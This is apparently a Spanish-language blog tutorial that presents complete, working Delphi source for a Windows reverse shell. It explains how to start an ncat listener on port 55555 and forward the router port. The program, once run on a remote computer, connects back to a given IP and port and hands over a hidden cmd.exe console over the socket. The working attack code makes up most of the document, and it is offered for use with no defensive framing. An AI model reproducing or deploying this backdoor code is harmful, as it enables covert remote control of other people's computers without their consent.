El siguiente código muestra como crear un shell inversa, es decir, si ejecutamos este programa en un ordenador remoto intentara conectarse con nosotros para darnos acceso remoto a la shell.
Su funcionamiento es sencillo, primero tenemos que prepara el servidor, por ejemplo usando ncat:
ncat -l 55555
De esta manera ncat se queda esperando en el puerto 55555 a que nuestro programa establezca una conexión. Si el ordenador remoto se encuentra fuera de nuestra red local también tendremos que configurar nuestro router para que redirija ese puerto hacia nuestro equipo.
Ahora solo tenemos que ejecutar nuestro programa en el ordenador remoto indicándole nuestra ip (para probar podemos usar la local 127.0.0.1) y el puerto que debe usar:
rshell 127.0.0.1 55555
El programa entonces se conectara y desde el ncat podremos manejar la consola remota como si la tuviéramos delante de nosotros. Una vez que terminemos de utilizarla mandaremos el comando "Exit" para que la shell se cierre y la conexión se corte.
Ahora el código:
program rshell; {$APPTYPE CONSOLE} uses Windows, SysUtils, Winsock; // Comprueba la version de windows function IsWinNT: boolean; var Osv: OSVERSIONINFO; begin Osv.dwOSVersionInfoSize:= SizeOf(Osv); GetVersionEx(OSV); Result:= Osv.dwPlatformId = VER_PLATFORM_WIN32_NT; end; const BUFFERSIZE = 4*1024; // Bucle de lectura/escritura procedure Loop(S: TSocket); var Si: STARTUPINFO; Sa: SECURITY_ATTRIBUTES; Sd: SECURITY_DESCRIPTOR; Pi: PROCESS_INFORMATION; Stdin, Stdout, WStdin, RStdout: THandle; Exitcod, Bread, Avail: Cardinal; FDSet: TFDSet; TimeVal: TTimeVal; Buffer: PAnsiChar; begin if IsWinNT then begin InitializeSecurityDescriptor(@Sd, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(@Sd, TRUE, nil, FALSE); Sa.lpSecurityDescriptor:= @Sd; end else Sa.lpSecurityDescriptor:= nil; Sa.nLength:= SizeOf(SECURITY_ATTRIBUTES); Sa.bInheritHandle := TRUE; // Creamos la tuberia de entrada if CreatePipe(Stdin, WStdin, @Sa, 0) then begin // Creamos la tuberia de salida if CreatePipe(RStdout, Stdout, @Sa, 0) then begin GetStartupInfo(Si); with Si do begin dwFlags:= STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; wShowWindow:= SW_HIDE; // Indicamos que tuberias debe de usar el proceso hStdOutput:= Stdout; hStdError:= Stdout; hStdInput:= Stdin; end; // Reservamos memoria para el buffer GetMem(Buffer,BUFFERSIZE); try Fillchar(Buffer^, BUFFERSIZE, #0); // Obtenemos la ruta de la shell GetEnvironmentVariable('COMSPEC', Buffer, BUFFERSIZE - 1); // Ejecutamos la shell if CreateProcess(nil, Buffer, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, Si, Pi) then begin repeat // Comprobamos si hay algo que leer de la shell PeekNamedPipe(RStdout, Buffer, BUFFERSIZE-1, @Bread, @Avail, nil); if bread > 0 then begin Fillchar(Buffer^, BUFFERSIZE, #0); // Leemos la shell ReadFile(RStdout, Buffer^, Bread, Bread, nil); // Escribimos los datos en el socket Send(S,Buffer^,Bread,0) end; TimeVal.tv_sec:= 0; TimeVal.tv_usec:= 10; FD_ZERO(FDSet); FD_SET(S, FDSet); // Comprobamos si hay algo que leer en el socket if Select(0, @FDSet, nil, nil, @TimeVal) > 0 then begin // Leemos los datos del socket BRead:= Recv(S, Buffer^, BUFFERSIZE-1, 0); if (BRead <> Cardinal(SOCKET_ERROR)) and (BRead > 0) then // y los escribimos en la shell WriteFile(WStdin,Buffer^,Bread,Avail,nil); end; // Comprobamos si se ha cerrado la shell GetExitCodeProcess(Pi.hProcess, Exitcod); until (Exitcod <> STILL_ACTIVE) and (Bread = 0); end; finally // Liberamos la memoria reservada FreeMem(Buffer); end; // Cerramos la tuberia de salida CloseHandle(RStdout); CloseHandle(Stdout); end; // Cerramos la tuberia de entrada CloseHandle(Stdin); CloseHandle(WStdin); end; end; // Estable la conexion y devuelve un socket function Conectar(Servidor: AnsiString; Puerto: Word): TSocket; var Address: u_long; HostEnt: phostent; Addr: sockaddr_in; begin Result:= INVALID_SOCKET; //Compruebo si se una direccion ip Address:= inet_addr(PAnsiChar(Servidor)); if Address = INADDR_NONE then begin // Si no es una ip, intento resolver el nombre HostEnt:= gethostbyname(PAnsiChar(Servidor)); if HostEnt <> nil then Address:= PInAddr(HostEnt.h_addr_list^)^.S_addr; end; // Si tengo una ip valida if Address <> INADDR_NONE then begin // Creo un socket Result:= Socket(AF_INET, SOCK_STREAM, 0); if Result <> INVALID_SOCKET then begin Addr.sin_family:= AF_INET; Addr.sin_addr.S_addr:= Address; Addr.sin_port:= htons(Puerto); // Conecto el socket a la direccion ip if Connect(Result, Addr, Sizeof(Addr)) = SOCKET_ERROR then begin // Si algo va mal cierro el socket CloseSocket(Result); Result:= INVALID_SOCKET; end; end; end; end; var S: TSocket; WSAData: TWSADATA; begin // Iniciamos las librerias if WSAStartup(MAKEWORD(1, 1), WSADATA) = 0 then try // Intentamos conectarnos al servidor S:= Conectar(ParamStr(1),StrToIntDef(ParamStr(2),55555)); if S <> INVALID_SOCKET then try Loop(S); finally // Cerramos el socket CloseSocket(S); end; finally // Limpiamos todo WSACleanup; end; end.
Enlaces de interés:
http://nmap.org/ncat/